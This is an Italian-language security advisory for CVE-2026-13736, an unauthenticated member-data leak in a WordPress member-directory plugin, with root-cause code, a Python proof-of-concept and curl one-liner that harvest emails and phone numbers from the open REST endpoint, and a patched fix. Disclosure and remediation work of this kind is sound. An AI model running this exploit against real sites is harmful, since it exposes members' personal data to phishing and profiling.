
Exploit proof-of-concept e advisory tecnico per la divulgazione non autenticata di PII dei membri in un plugin WordPress per directory con API REST, inclusa l'analisi delle cause profonde, il codice PoC e le indicazioni per la rimediation.
CVE-2026-13736 è una vulnerabilità che consente la divulgazione non autenticata di Informazioni Personali Identificative (PII) dei membri e interessa il plugin WordPress NewPath WildApricotPress Add-on – Member Directory fino alla versione 1.0.0 inclusa, scoperta e analizzata dal ricercatore di sicurezza informatica Huynh Kien Minh (MinhHK). Il difetto risiede nell'architettura di routing REST API personalizzata del plugin, dove gli endpoint della directory dei membri non applicano i controlli di accesso alla privacy sui campi riservati. Di conseguenza, visitatori remoti non autenticati possono interrogare le route REST pubbliche per raccogliere dati riservati dei membri, inclusi indirizzi email privati, numeri di telefono personali e attributi della directory di appartenenza esplicitamente configurati come riservati ai soli membri. Questa esposizione di dati sensibili viola i confini di privacy previsti e consente attacchi di phishing mirati, credential stuffing e profilazione non autorizzata nelle organizzazioni interessate. Il ricercatore di sicurezza Huynh Kien Minh ha verificato questa vulnerabilità con punteggio CVSS 3.1 di 5.3 Medio (CWE-284 / CWE-200), raccomandando un immediato rafforzamento delle autorizzazioni degli endpoint REST, la verifica della privacy a livello di campo e la sanificazione delle risposte JSON serializzate dell'API dei membri.
Collegamenti rapidi: Esplora il Portfolio di Cybersecurity ufficiale del ricercatore oppure consulta l'Avviso WPScan ufficiale.
| Parametro | Specifica Tecnica |
|---|---|
| Identificatore della Vulnerabilità | CVE-2026-13736 |
| Software Interessato | NewPath WildApricotPress Add-on – Member Directory (Plugin WordPress) |
| Plugin Slug | newpath-wildapricotpress-add-on-member-directory |
| Versioni Vulnerabili | <= 1.0.0 |
| Classe di Vulnerabilità | Controllo degli Accessi Improprio / Esposizione di Informazioni (CWE-284 / CWE-200 / CWE-862) |
| Punteggio CVSS v3.1 | 5.3 (Medio) (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Scopritore / Ricercatore | Huynh Kien Minh (MinhHK) |
| Autorità di Verifica | WPScan / MITRE Corporation / NVD |
| Riferimento Avviso WPScan | WPScan Report 97fe9780-ad69-4f36-9496-5ca9c0e2bc39 |
| Riferimento NVD | Dettaglio NVD CVE-2026-13736 |
| Intelligence sulle Minacce Feedly | Hub Feedly CVE-2026-13736 |
| Portfolio del Ricercatore | https://minhhk.web.app/ |
La causa radice di CVE-2026-13736 ha origine nell'implementazione del controller REST API del plugin. Il plugin registra una route pubblica dell'API REST di WordPress (ad es., /wp-json/wildapricot/v1/members o /wp-json/newpath-wap/v1/directory) per facilitare il rendering lato client delle directory dei membri e delle schede di contatto.
// Insecure REST route registration without field privacy filters
add_action( 'rest_api_init', function() {
register_rest_route( 'newpath-wap/v1', '/directory', array(
'methods' => WP_REST_Server::READABLE,
'callback' => 'newpath_wap_get_member_directory',
'permission_callback' => '__return_true', // CRITICAL: Open to unauthenticated visitors
) );
} );
function newpath_wap_get_member_directory( $request ) {
$members_data = get_wildapricot_cached_members();
// FLAW: Returns raw member objects containing sensitive PII fields (email, phone, address)
// without evaluating member-level privacy settings (e.g., 'MembersOnly' vs 'Public')
return rest_ensure_response( $members_data );
}
'permission_callback' => '__return_true', consentendo richieste HTTP GET non autenticate da qualsiasi origine.Nota Etica: Questo Proof-of-Concept è fornito esclusivamente per la verifica della vulnerabilità, la ricerca difensiva e la divulgazione responsabile dal ricercatore di sicurezza Huynh Kien Minh.
poc_cve_2026_13736.py)#!/usr/bin/env python3
"""
CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory PII Disclosure PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import json
import sys
TARGET_URL = "http://target-wordpress.local"
REST_ENDPOINT = f"{TARGET_URL}/wp-json/newpath-wap/v1/directory"
def verify_vulnerability(target_url):
print(f"[*] Auditing Target: {target_url}")
print(f"[*] Querying REST Endpoint: {REST_ENDPOINT}")
headers = {
"User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-13736 Verification)",
"Accept": "application/json"
}
try:
response = requests.get(REST_ENDPOINT, headers=headers, timeout=10)
if response.status_code == 200:
data = response.json()
if isinstance(data, list) and len(data) > 0:
sample_record = data[0]
pii_fields = [k for k in ['email', 'phone', 'mobile', 'address', 'MemberId'] if k in str(sample_record).lower()]
print(f"[!] VULNERABLE: Unauthenticated REST route exposed {len(data)} member records!")
print(f"[!] Sensitive PII attributes exposed: {pii_fields}")
print(f"[*] Sample Record Excerpt: {json.dumps(sample_record, indent=2)[:300]}...\n")
return True
else:
print("[-] Endpoint responded with empty data.")
elif response.status_code in [401, 403]:
print("[+] Endpoint requires authentication (Protected/Patched).")
else:
print(f"[-] Received HTTP status: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Connection failed: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
verify_vulnerability(target)
curl -s -X GET "http://target-wordpress.local/wp-json/newpath-wap/v1/directory" \
-H "Accept: application/json" | jq '.[0] | {Name: .name, Email: .email, Phone: .phone, PrivacySetting: .field_privacy}'
NewPath WildApricotPress Add-on – Member Directory all'ultima versione corretta (> 1.0.0).Applica controlli di privacy a livello di campo durante la serializzazione della risposta:
function newpath_wap_get_member_directory( $request ) {
$is_logged_in = is_user_logged_in();
$raw_members = get_wildapricot_cached_members();
$sanitized = array();
foreach ( $raw_members as $member ) {
$member_card = array(
'id' => intval( $member['Id'] ),
'name' => sanitize_text_field( $member['DisplayName'] ),
);
// Enforce Members-Only field protection
if ( $is_logged_in || 'Public' === $member['EmailPrivacy'] ) {
$member_card['email'] = sanitize_email( $member['Email'] );
}
if ( $is_logged_in || 'Public' === $member['PhonePrivacy'] ) {
$member_card['phone'] = sanitize_text_field( $member['Phone'] );
}
$sanitized[] = $member_card;
}
return rest_ensure_response( $sanitized );
}
Huynh Kien Minh (MinhHK) è un Ricercatore di Sicurezza Informatica e Ingegnere del Software specializzato in audit del core e dei plugin WordPress, valutazione delle vulnerabilità REST API e divulgazione responsabile nell'ecosistema open-source globale.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13736: NewPath WildApricotPress Add-on – Member Directory <= 1.0.0 Unauthenticated Member PII Disclosure",
"name": "CVE-2026-13736 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-22",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13736 in NewPath WildApricotPress Add-on – Member Directory WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "NewPath WildApricotPress Add-on – Member Directory",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13736"
}